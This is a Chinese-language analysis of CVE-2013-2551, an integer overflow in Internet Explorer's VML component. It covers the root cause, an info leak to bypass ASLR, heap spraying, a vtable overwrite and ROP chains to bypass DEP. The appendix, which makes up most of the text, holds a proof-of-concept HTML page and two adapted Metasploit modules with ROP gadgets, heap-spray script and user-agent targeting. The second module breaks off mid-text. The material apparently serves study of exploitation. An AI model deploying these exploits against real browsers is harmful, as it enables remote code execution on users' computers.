CVE-2013-2551漏洞成因与利用分析
1. 简介
VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节。它是一个ORG数组整数溢出漏洞,由于此漏洞的特殊性,使得攻击者可以通过整数溢出修改数组的长度,获取任意内存读写的能力,最终绕过ASLR并获取控制权限实现远程代码执行。
在漏洞公布不久,就有人写出了对应的metasploit利用代码,不过其代码只支持Win7+IE8环境。通过分析,想要在Win7+IE10下成功利用此漏洞需要解决几个关键问题,并运用几个技巧。本文首先参考已有的分析文章,根据自己的理解对漏洞成因再次进行综合分析,记录分析过程及结果,方便小组成员学习。然后针对IE8、IE10两个环境,对漏洞利用所使用的技术及技巧进行总结。
2. 实验环境
操作系统:Win7 SP1 (6.1.7601.17514)
浏览器:IE10.0.9200.16540
漏洞编号:CVE-2013-2551
3. 漏洞分析
这个漏洞是由于负责VML解析的模块VGX.DLL,在处理<v:stroke>标签的dashstyle.array.length属性时,没有对传入的参数进行完备验证而导致的整数溢出。攻击者利用这个漏洞能够对任意地址进行读写操作——通过读取敏感内存信息、改写对象虚函数表,就能够完美绕过重重内存防护机制实现任意代码执行。
3.1. VML
VML(Vector Markup Language)矢量标记语言是SVG的前身,它仍然被IE10所支持,通过它可以在页面中表现二维矢量图形。值得说明的是IE10在默认情况下是不支持VML的,但通过在HTML中加入有关对文档模式的声明,可以使IE10正常解析VML标签。VML被vgx.dll(C:Program FilesCommon FilesMicrosoft SharedVGX)所实现,可以通过附件中的VML.html来简单了解VML的使用。
3.2. 漏洞成因
VML为shape元素实现了一个Stroke子元素,Stroke子元素有一个DashStyle属性。DashStyle可以是一个常数也可以是一个自定义的类型。例如下面的使用方法:
当通过JS读取dashstyle属性时,其内部会调用"vgx!COAStroke::get_dashstyle()",随后"vgx!COAStroke::get_dashstyle()"调用子函数"vgx!COAShapeProg::GetOALineDashStyle()"并最终返回一个COALineDashStyle对象。
dashstyle属性的功能是被COALineDashStyle对象实现的,COALineDashStyle对象的方法如下,其中get_value/put_value是针对dashstyle为常数的情况。
如果dashstyle属性是自定义类型,调用COALineDashStyle::get_array()方法,将会在其子函数COAShapeProg::GetOALineDashStyleArray()中返回一个COALineDashStyleArray对象。
COALineDashStyleArray对象用来管理自定义类型的dashstyle属性,其方法如下:
设置或者读取dashstyle.array.length属性时,对应的put_length或get_length函数就会被调用;利用数组下标访问dash.array属性时,对应的put_item或get_item函数就会被调用。
使用JS语句对dashstyle属性赋值时,例如:stroke.dashstyle = "1 2 3 4",函数vgx!ParseDashStyle会被调用,将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配,每个数组成员占四字节内存,所以ORG数组的缓冲区大小为数组成员个数×4(byte)。在对dashstyle.array.length属性赋值时,数组成员的个数会改变,在put_length函数中会根据新设置的值来重新为ORG数组成分配内存。然而在put_length中存在一个整数溢出漏洞,漏洞相关代码如下:
可以看出漏洞成因就在于put_length函数判断当前长度current_length和desired_length长度时,使用跳转指令是用于判断有符号数的jge指令,而数组长度是一个unsiged int类型的变量。因此当传入desired_length的值为有符号数0xFFFFFFFF时,会导致跳转至loc_1008B844处,进而调用ORG::DeleteRange。执行流程为:ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。
进入MsoFRemovePx函数时,arg_4=current_length-desired_length,arg_8=desired_length。
在MsoFRemovePx函数内部,最终将desired_length设置成了current_length,使得在没有重新分配内存的情况下将ORG数组长度current_length改写成0xFFFF。因此,可以通过此时的ORG数组获得越界访问。
要想成功触发漏洞,须使用JS将dashstyle.array.length的值设置为0xFFFFFFFF,但是如果直接使用语句dashstyle.array.length = 0xFFFFFFFF。会提示错误有"溢出"发生,将0xFFFFFFFF改为(0-1)就能够成功触发漏洞了。
“漏洞成因”结合“信息泄露”的源代码在附录poc (CVE-2013-2551).html中给出,请参见附件。
4. 漏洞利用
4.1. Bypass ASLR
4.1.1. 信息泄露
VML shape的_vgRuntimeStyle属性由COARuntimeStyle对象负责处理,它包含很多方法,如下
使用JS语句设置或者读取_vgRuntimeStyle.marginLeft属性时,对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用。
如果是第一次访问marginLeft/rotation属性,那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo来创建一个COARuntimeStyle对象,该对象大小为0xAC(实际分配0xB0)。
而marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。同样get_marginLeft函数在读取marginLeft属性时,也是通过访问这个对象偏移0x58位置上的字符串指针来完成的。
COARuntimeStyle::put_marginLeft()
因此,我们可以设置堆内存,使得ORG数组在一个COARuntimeStyle对象前面。然后通过ORG数组用任意值(这里使用0x7ffe0300)越界重写marginLeft属性的字符串指针,再使用COARuntimeStyle::get_marginLeft()将任意内存地址(0x7ffe0300)处的内容读取出来。0x7ffe0300处保存着ntdll!KiFastSystemCall的地址,通过此地址减去相应偏移即可得到当前ntdll.dll的内存基址。
也可以通过ORG数组越界读随后COARuntimeStyle对象的前4字节(虚函数表指针),最终减去相应偏移即可得到当前vgx.dll的内存基址。
信息泄露部分的源代码见附件poc (CVE-2013-2551).html
4.1.2. 定位shellcode
定位shellcode有两种方法可控选择,使用的最多的方法就是堆喷射,但是它并不是一种完美的利用方法。完美的利用方法是通过漏洞读取出shellcode的地址。我使用两种方法分别实现了IE10下的漏洞利用。
4.1.2.1. 通过堆喷射布局shellcode
使用堆喷射可以方便的布局我们的shellcode在指定的内存处。在IE8下,堆喷射使用常见的heapLib技术。IE10下,heapLib不再奏效,我们可以通过DEPS技术实现堆喷射。具体技术资料及源码很多,此处不再赘述。
4.1.2.2. 通过漏洞定位shellcode
由于此漏洞的特殊性,使其具有任意地址读的能力。参见4.1.1信息泄露部分,我们可以将shellcode作为COARuntimeStyle的marginLeft属性值,再通过触发漏洞使用ORG数组越界读取出shellcode的地址。其原理与“信息泄露”一致,主要在于代码实现,请参见“CVE-2013-2551_MS13-037(IE10noHeapSpray).rb”。
4.2. 获取控制权
当通过JS读取_anchorRect属性时,其内部会调用"vgx!COAShape::get__anchorRect()",最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。
因此有这样一种利用场景:创建大量的COAReturnedPointsForAnchor对象,在其中为Dashstyle属性创建具有4个元素的ORG数组使其内存布局刚好位于大量COAReturnedPointsForAnchor对象之间。然后利用漏洞通过ORG数组越界改写其后COAReturnedPointsForAnchor对象的虚函数表指针,从而获取控制权。具体步骤如下:
1) 创建大量的COAShape元素(v:shape)
2) 遍历每个COAShape的_anchorRect属性,这样就可以创建COAReturnedPointsForAnchor元素,在遍历的过程中,某个地方给dashstyle属性赋值,这样会创建ORG对 象,为保证ORG对象和COAReturnedPointsForAnchor对象在同一个堆块并且地址连续,ORG的元素数目为4个,正好 4×4 = 0x10。
3) Dashstyle.array.length = -1,触发漏洞。由于漏洞被触发,Dashstyle.array的长度被修改为0xffff,可以越界写内存
4) dashstyle.array.item(6) = 0x0c0c0c0c,修改ORG后面的COAReturnedPointsForAnchor虚表指针。Item(6)是为了跳过堆首部的8个字节。
5) 释放_anchorRec元素,当被修改虚表指针的元素被删除时,会通过虚表调用Release函数,这样就可以被攻击者获得控制权。
4.3. Bypass DEP
4.3.1. IE8
首先来看当被修改虚函数表指针的COAReturnedPointsForAnchor对象将要被释放时,索引其Release虚函数的过程。
如上图所示,(98行)ecx保存着对象UserPtr地址,并将其首4字节(虚函数表指针)传递给eax,然后(100行)调用虚函数表的第三个函数。而在“获取控制权”阶段我们已经将对象的首4字节改写成了0x0c0c0c0c,因此它将在0x0c0c0c0c处的伪造虚函数表中索引虚函数表并调用。
在IE8下通过常规的heapLib技术进行堆喷射,将shellcode布局在0x0c0c0c0c处。并在0x0c0c0c0c处伪造虚函数表,构造ROP chain。
如上图所示,0x0c0c0c0c处就是根据之后虚函数被调用顺序,构造的ROP chain,将切换堆栈的指令(xchg eax,esp)的地址放在了0x0c0c0c0c + 0x08处,这样当程序接下来调用虚基表中的第3个虚函数Release时,就在伪造的虚函数表0x0c0c0c0c处索引第三个函数地址,并执行xchg eax,esp; retn指令
注意,当调用“第三个虚函数”时,eax保存着虚函数表指针(此时为0x0c0c0c0c),ecx保存着对象UserPtr指针。其随后的执行流程如下:
1) 通过xchg eax,esp指令可将堆栈切换到0x0c0c0c0c上,使得esp指向0x0c0c0c0c处。随后执行retn指令时,将会在新的堆栈(0x0c0c0c0c)上索引返回地址并
跳转执行。
2) 执行0x0c0c0c0c处第一个4字节地址所指向的指令——retn。继续在堆栈上索引返回地址。
3) 执行0x0c0c0c0c处第二个4字节地址所指向的指令——pop ebx; retn。意在跳过0x0c0c0c0c处的第三个4字节,并将第四个4字节的值作为返回地址并执行。
4) 第四个4字节为实际为ntdll!ZwProtectVirtualMemory函数地址,其返回地址、调用参数已经硬编码到随后的shellcode中。其目的在于修改0x0c0c0c40处0x400字
节大小的内存空间的属性,将其修改成可执行页面。
5) ntdll!ZwProtectVirtualMemory执行完毕后从堆栈上索引返回地址,跳转到0x0c0c0c40处继续执行,最终绕过了DEP,实现了任意代码执行。
4.3.2. IE10
在IE10下,我们将面对两个关键问题。首先是以前常用的堆喷射技术(heapLib)不再奏效;其次是编译器做了调整,在索引虚函数时eax不再保存虚函数表指针,转而保存对象UserPtr指针,并由ecx来保存虚函数表指针。其造成的结果是指令串xchg ecx,esp; retn;对应的字节码变长(变为87E1C3,而xchg eax,esp; retn为94C3),使得在内存中很难搜索到能够满足类似要求的指令串,从而无法轻易控制esp。(IE10下相关代码如下图所示)
针对IE10,我找到了可替代的堆喷射方法——DEPS,关于DEPS的技术细节及实现请参见参考资料链接。
而当在ntdll.dll中尝试搜索实现类似功能的指令串(xchg ecx,esp; retn;)无果后,需要重新理清思路。想明白我们能控制什么,尽最大可能利用它们仍然可以绕过阻碍。
4.3.2.1. 堆喷射下ROP chain构造
在IE10下使用DEPS技术仍然可以进行堆喷射,并把我们的shellcode部署在指定内存空间,demo中将shellcode部署在0x0c0c2228处。此时我们重点关注如何在call dword ptr [ecx+8]时控制堆栈,使得esp切换到指定的内存空间处(0x0c0c2228)
在IE8下,我们通过漏洞使用ORG数组越界改写了对象的虚函数表指针,最终对象在释放过程中将索引我们伪造的虚函数,并在一个ROP gadget中实现对堆栈的控制。但IE10下保存虚函数表指针的寄存器变成了ecx,保存对象指针的寄存器变成了eax,此时无法在一个ROP gadget中实现类似xchg ecx,esp; retn的功能。
此时,我们面对的情况为:保存对象指针的eax、保存对象虚函数表指针的ecx、一个具有越界读写对象能力的ORG数组。
因此,可以使用ORG数组进一步越界改写对象头部,利用容易找到的xchg eax,esp; retn指令串先将堆栈切换到对象内存空间上。然后再通过其他的ROP gadget将堆栈切换到shellcode处(0x0c0c2228)。实现对堆栈esp的完全控制。
首先通过mona.py搜索ntdll.dll中所有可能的gadget后。在其搜索结果中寻找可用的ROP gadget。最终效果如下:
由于我们使用了堆喷射技术对shellcode进行布局,因此我们能够确切的知道其内存位置(0x0c0c2228),在调用ntdll!ZwProtectVirtualMemory修改shellcode内存空间可执行权限时基本不存在问题,可以通过硬编码设置当前堆栈上的返回地址、参数值等。如下图所示:
4.3.2.2. 无堆喷射下ROP chain构造
- 获取shellcode地址
在4.1.1信息泄露部分,已经介绍了利用COARuntimeStyle对象及其marginLeft属性来读取任意地址处的值。如果将shellcode作为COARuntimeStyle的marginLeft属性,再通过触发漏洞,可以很容易获得shellcode的地址,这样就可以不使用heap spray,实现完美的利用。利用方法如下:
其中#{js_code}为shellcode,marginLeftAddress即为读取到的shellcode地址。
- 构造ROP chain
由于shellcode地址是动态获取的,因此在构造ROP chain(尤其是在堆栈上为ntdll!ZwProtectVirtualMemory构造返回地址及参数)时不能使用硬编码。构造ROP chain是一项考验并激发创造力的体力活,其中mona.py为我们创造了条件,提供了很多便利。
在为其构造ROP chain时运用了几个小技巧,下面一一讲解,首先来看函数的定义
其总体思想是将ntdll!ZwProtectVirtualMemory函数调用的函数地址、返回地址、参数依次传递给edi、esi、ebp、esp、ebx、edx、ecx。然后使用pushad; retn指令串将其布局在堆栈上并调用,调用pushad; retn指令串前的要求寄存器环境为:
因为ntdll!ZwProtectVirtualMemory函数的参数中有指针,参数NumberOfBytesToProtect即为一个指针,指向要修改保护属性的字节数。在ROP chain中可以使用push esp; pop; pop retn的指令串来动态获得当前的地址,例如下图122行代码所示,其ROP gadget将NumberOfBytesToProtect的地址传递给了esi,最终传递给了ebx
ntdll!ZwProtectVirtualMemory的参数BaseAddress也是一个指针,指向要修改内存属性的内存基址。调用pushad; retn前,要使esp指向想要修改内存属性的内存基址也需要一点小技巧,我的实现如下图。143行代码首先获取当前堆栈的地址,然后将其加0x40字节,并写入其值所指的内存中。即指针所指的内存空间保存着指针的地址。
最后,真正的返回地址(esi)要指向最终的payload,它将会被布局在ROP chain之后,即pushad; retn指令串之后的+4字节处(pushad; retn指令串之后的4字节保存BaseAddress)。因此,还需要将eax加4字节再传递给esi。
由于在shellcode中不能出现/u0000,因此在指定NewAccessProtection时,通过加法指令溢出寄存器,使其变为0x00000040。其实现过程如下:
至此,构造ROP chain时所运用的几个技巧已经讲解完毕。此处也可以将shellcode分开存放,即将payload作为COARuntimeStyle的marginLeft属性存放;将伪造的虚函数表及用于改写payload所在页面属性的ZwProtectVirtualMemory参数布局在ntdll.dll的.rsrc处,即可省去复杂的ROP构造;
构造ROP chain虽然是体力活,但也考验并激发创造力。有点像走一根有障碍的独木桥,想明白自己能控制什么,尽最大可能利用它们绕过阻碍,最终展现那奇妙可能性时的成就感妙不可言。
5. 总结
网上也已经有多篇文章对CVE-2013-2551漏洞成因与利用方法进行了分析说明。个人认为它是学习漏洞利用技术非常好的一个例子,通过这一个漏洞可以了解学习到漏洞利用过程中的多种技术与技巧。
6. 参考资料
[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013):http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[2] CVE-2013-2551利用技巧分析:http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c
[3] CVE-2013-2551利用分析:http://zenhumany.blog.163.com/blog/static/171806633201403114815739/
7. 附录
7.1. poc (CVE-2013-2551).html
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> POC by VUPEN </title> <style>v: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body onload="createRects(); exploit();"> <v:oval style="100pt;height:50pt" fillcolor="red"></v:oval> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )); return; } } } </script> </html>
7.2. CVE-2013-2551_MS13-037(IE10).rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "10.0", :ua_maxver => "10.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis 'Danny (modified from Nicolas Joly)', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => { 'Space' => 948, 'DisableNops' => true, 'BadChars' => "x00", 'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => '0x5f4' } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 06 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end ############################### def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll] ].pack("V*") ntdll_rop = [ @ntdll_base+0x00047643, # pop edi # retn @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory @ntdll_base+0x000c71ef, # pop esi # retn 0x0c0c227c, # ret to shellcode 0x0c0c2228+21*4 = 0x0c0c227c @ntdll_base+0x000cb72a, # pop ebp # retn 0xffffffff, # ProcessHandle @ntdll_base+0x000348b9, # pop ebx # retn 0x0c0c2274, # ptr to NumberOfBytesToProtect 0x0c0c2228+19*4 = 0x0c0c2274 @ntdll_base+0x0009a30c, # pop eax # retn 0xFA3DFA7F, @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn @ntdll_base+0x00036d70, # xchg eax,edx # retn (-> put 0x00000040 into edx) @ntdll_base+0x000cd241, # pop ecx # retn 0x0c0c2278, # ptr to OldAccessProtection @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi 0x0c0c227c, # BaseAddress 0x00010400, # NumberOfBytesToProtect 0x41414141, # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" # 未构造 stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("x0c"*4, Rex::Arch.endian(target.arch)) js_ntdllBase = @ntdll_base js_trigger = %Q| // Land the payload at 0x0c0c2228 function HeapSpray(){ var div_container = document.getElementById("blah"); div_container.style.cssText = "display:none"; var data; var offset = 0x104; var nops = unescape("#{js_nops}"); var code = unescape("#{js_code}"); while (nops.length < 0x1000) nops += nops; data = nops.substring(0,offset) + code; data += nops.substring(0,0x800-offset-code.length); while (data.length < 0x80000) data += data; // IE 8, 9 and 10 : 0x0c0c2228 for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); //aligned spray div_container.appendChild(obj); } } var rect_array = new Array(); var a = new Array(); var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){ a[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; tempp = vml1.dashstyle.array.item(6); vml1.dashstyle.array.item(6) = 0x0c0c2228; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2) vml1.dashstyle.array.item(8) = 0x0c0c2228; // ebx vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN @ntdll_base + 0xcc18d = 0x770cc18d //for (var i=0; i<0x1000; i++) { delete a[0x801]; CollectGarbage(); } //location.reload(); } | heap_spray_func = "HeapSpray" create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate heap_spray_func = js_trigger.sym("HeapSpray") create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();"> <div id="blah"></div> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (d.d)/).flatten[0] || '' ie = agent.scan(/MSIE (d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^ /, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue end # Use JRE1.6 to exploit it. if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^ /, '') print_status("Sending HTML to trigger(Use JRE1.6)...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end # Use Ntdll to exploit it. print_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^ /, '') print_status("Sending HTML to trigger(Use Ntdll)...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end
7.3. CVE-2013-2551_MS13-037(IE10noHeapSpray).rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "10.0", :ua_maxver => "10.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis 'Danny (modified from Nicolas Joly)', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload' => { 'Space' => 948, 'DisableNops' => true, 'BadChars' => "x00", 'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => 